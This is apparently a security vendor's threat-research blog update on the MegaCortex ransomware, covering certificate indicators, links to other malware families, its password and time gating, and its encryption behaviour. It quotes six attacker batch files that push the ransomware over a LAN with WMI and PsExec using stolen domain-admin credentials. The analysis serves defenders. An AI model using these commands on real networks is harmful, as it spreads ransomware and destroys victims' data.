It’s been a week since we published our initial research on the ransomware calling itself MegaCortex. Our initial post was written over about a day and a half, as we started to observe an early outbreak on May 1. We have a lot of new information to share today.
We know our last bulletin came out on a Friday afternoon (Pacific time in the US), which was late in other parts of the world starting the weekend, but we felt that alerting everyone to this growing threat was important. Sorry, but we’re doing it again today, too.
Since then, we’ve become aware of more attacks that have taken place and spoken to people from more organizations that were targets for attack, and wanted to update you on what we’ve learned about the threat actor’s tools, techniques, and some of the quite perplexing small details whose sole purpose seems to be misdirection.
What’s in an IoC?
When we published the initial report last week, at the 11th hour (closer to the 27th) we found out that one of the research team performed a hunt through our malware repository, and turned up some additional samples dating back a few months. Thinking we had discovered an early set of builds, and without checking into each file, we published the entire list of hashes to the story, intending to go back and make corrections if necessary.
We discovered quickly that we’d stumbled upon something weird.
Our search was quite simple, in retrospect, though it usually yields interesting results: The query looked for matches of a distinctive Common Name (CN) on the cryptographic certificate that was used to sign one of the MegaCortex malware executables.
We found a handful of malware from a different family entirely: Rietspoof. But there was no other apparent connection between the Rietspoof and MegaCortex samples.
For one thing, the certificates for each of those families were issued by different certificate authorities. For another, there was virtually no apparent code similarity between the two families. So we later removed those IoCs from the post in favor of hashes we were confident were accurate.
It looked like MegaCortex was paying homage.
In both the cases of Rietspoof and MegaCortex, their signed binaries used one of several certificates, and in both cases, one of the certificates had been revoked but the others had not.
We’ve reached out to Thawte, and we’re happy to report that they have issued a revocation against the signing certificate used in the initial MegaCortex attacks.
But digging into the certificates has revealed another unanswered question. The address used by the certificate, a real street address in the London suburb of Romford, is linked to more than 74,000 registered businesses in the UK. We’ve also seen evidence of that address being used in signing certificates used to sign completely unrelated malware binaries. From looking at Street View, it appears to be a residential apartment block. Just what the heck is going on in that building?
Additional MegaCortex samples from attack targets, and from malware sharing and analysis platforms, continue to come in. We’ll continue to update our IoC list on the SophosLabs Github.
Batch file attack orchestration
One target for attack who shared samples with us discovered that the attackers leveraged multiple domain controllers in their environment to conduct the attack. That person found six batch files, with filenames of just the numbers 1 through 6, on one of these compromised DCs. These batch files appear to have been used to orchestrate the attack phase that delivered the malware executable (winnit.exe) and its “launcher” batch file (stop.bat) to the machines under the relevant DC’s jurisdiction.
The batch files redundantly, using two different methods, attempt to (1) copy the ransomware executable and its launcher batch file to machines over the target’s LAN, and (2) execute the launcher batch file using two different methods, WMI and PsExec. Each batch file is a long list of the same command, targeting each machine one after another.
The batch files appear to run through the internal IP addresses of each targeted machine in descending order but don’t include all possible IP addresses in the internal range. We still don’t know how the attackers come up with a list of target IP addresses they build into the batch scripts. (The rstwg file referenced in the sixth batch file is a copy of the legitimate Windows PxExec.exe binary, renamed and copied into the %temp% directory.)
1.bat: start copy stop.bat \\<target IP address>\c$\windows\temp\ 2.bat: start copy winnit.exe \\<target IP address>\c$\windows\temp\ 3.bat: start wmic /node:"<target IP address>" /user:"<DOMAIN\DC user account>" /password:"<DC admin password>" process call create "cmd.exe /c copy \\<a different DC's IP address>\c$\windows\temp\stop.bat c:\windows\temp\" 4.bat: start wmic /node:"<target IP address>" /user:"<DOMAIN\DC user account>" /password:"<DC admin password>" process call create "cmd.exe /c copy \\<a different DC's IP address>\c$\windows\temp\winnit.exe c:\windows\temp\" 5.bat: start wmic /node:"<target IP address>" /user:"<DOMAIN\DC user account>" /password:"<DC admin password>" process call create "cmd.exe /c c:\windows\temp\stop.bat" 6.bat: start psexec.exe \\<target IP address> -u <DOMAIN\DC user account> -p "<DC admin password>" -d -h -r rstwg -s -accepteula -nobanner c:\windows\temp\stop.bat
MegaCortex time-dependent execution
We briefly struggled to execute our initial MegaCortex sample after getting it, and several of its supporting files, as well as logs from one of the targeted institutions. In each infection, MegaCortex binaries have been distributed from a Domain Controller machine on the internal network. The threat actor(s) used stolen admin credentials to log in and then used WMI to push out and PsExec the payload to the entire (visible and online) network at once.
The malware is a package of at least two files, the stop.bat batch file, used to launch MegaCortex, and winnit.exe, the malware executable itself (so far, called winnit.exe), which does the encrypting. The batch file, when run, kills a lot of processes and services, many of which might prevent some or all file encryption from proceeding.
The last line of that batch file is a command line that executes the malware. The command uses a string of base64 as a sort of password to launch the file. Without using this string, the binary quits.
(Side note: We haven’t shared certain details that the attacker could use to identify which target(s) shared information with us.)
But there’s another problem running the malware: Each binary is time-dependent as well. The malware will only run if both of these conditions are met: You have to (a) use the correct password and (b) the clock on the target system must be within a 3-hour timeframe hardcoded into the malware binary itself.
Odd connection to a different malware family
Many people inside SophosLabs, and from the security community at large, have commented that the list of processes and services in the batch file is very close to, if not identical to, a batch file used for the same purpose by the ransomware LockerGoga. It’s an intriguing connection to yet another malware family.
It’s not the only one. At least one of the C2 addresses that MegaCortex contacts has also been used as a C2 for LockerGoga, as well as several other malware.
In addition, our early analysis of the MegaCortex malware binaries reveals several distinctive, uncommon internal characteristics or behavior quirks that were also exhibited by LockerGoga. For example:
Most other ransomware will rename the encrypted version of a given file only after encrypting it, but both MegaCortex and LockerGoga rename the files first, before encrypting them. We suspect this is a way to prevent the redundant executions of the malware from, redundantly, encrypting the same files twice.
The winnit.exe MegaCortex binary decrypts and drops an embedded DLL, which it uses to perform the encryption steps. Similar to the LockerGoga ransomware, winnit.exe acts as a ‘parent’ process, and spawns a rundll32.exe process to load the dropped DLL as a ‘child’. The child process performs the actual encryption of files, instructed by the winnit.exe parent, via shared memory.
The binary and DLL share some of the same memory.
Analysis also shows evidence of another code library called boost in MegaCortex, used primarily for interprocess communications; The same functions from the boost library are also used in LockerGoga.
And, for what it’s worth, the compiler used to build MegaCortex is version 14.x, the same as LockerGoga.
None of these alone is enough to draw a line between the two, especially since it seems there isn’t a lot of subroutine parity between the two families. But it does muddy the water a bit and make one wonder. There are a lot of really odd, circumstantial coincidences here.
The bizarrely noisy infection process
MegaCortex is not camera shy and does not attempt to conceal its presence. In fact, on a machine that is being actively encrypted by the ransomware DLL component, someone who knows how to use a task manager will see hundreds of an instance of rundll32.exe running over and over again. (Corrected 15 May 2019: There’s only one rundll32.exe process. It exits after encrypting ten files and spawns a new rundll32.exe to encrypt the next ten files. -ed.)
That’s because the malware seems to run a new instance of rundll32.exe for about every ten files it encrypts. It writes key blobs to a file with an eight-pseudorandom-letter filename and a .tsv suffix that the malware creates in the root of the C: drive.
Like several other ransomware, MegaCortex invokes cipher.exe, another tipoff that something very wrong might be going on.
Here’s a work-in-progress comparison of some of the filesystem changes different ransomware families make.
Considering how fastidiously targeted the malware seems to be, the threat actor launching it doesn’t mind the shotgun approach once inside the network.
The result is an unintentional blast of warnings on the DC’s event logs about the failed WMI attempts when the threat actor redundantly launches the attack.
What does an attack look like when it’s happening?
We produced a short video to illustrate what happens when the malware runs both with and without Sophos protection. Check it out!
IoCs
We will publish and update any IoCs on our Github page.
Research for this report was contributed by SophosLabs and Sophos Support team members Doug Aamoth, Anand Ajjan, Sergio Bestulic, Faizul Fahim, Sean Kowalenko, Savio Lau, Mark Loman, Andrew Ludgate, Peter Mackenzie, Luca Nagy, Gabor Szappanos, Chee Hui. Tan, and Michael Wood. Thanks also to our colleagues at the Cyber Threat Alliance.
Leave a Reply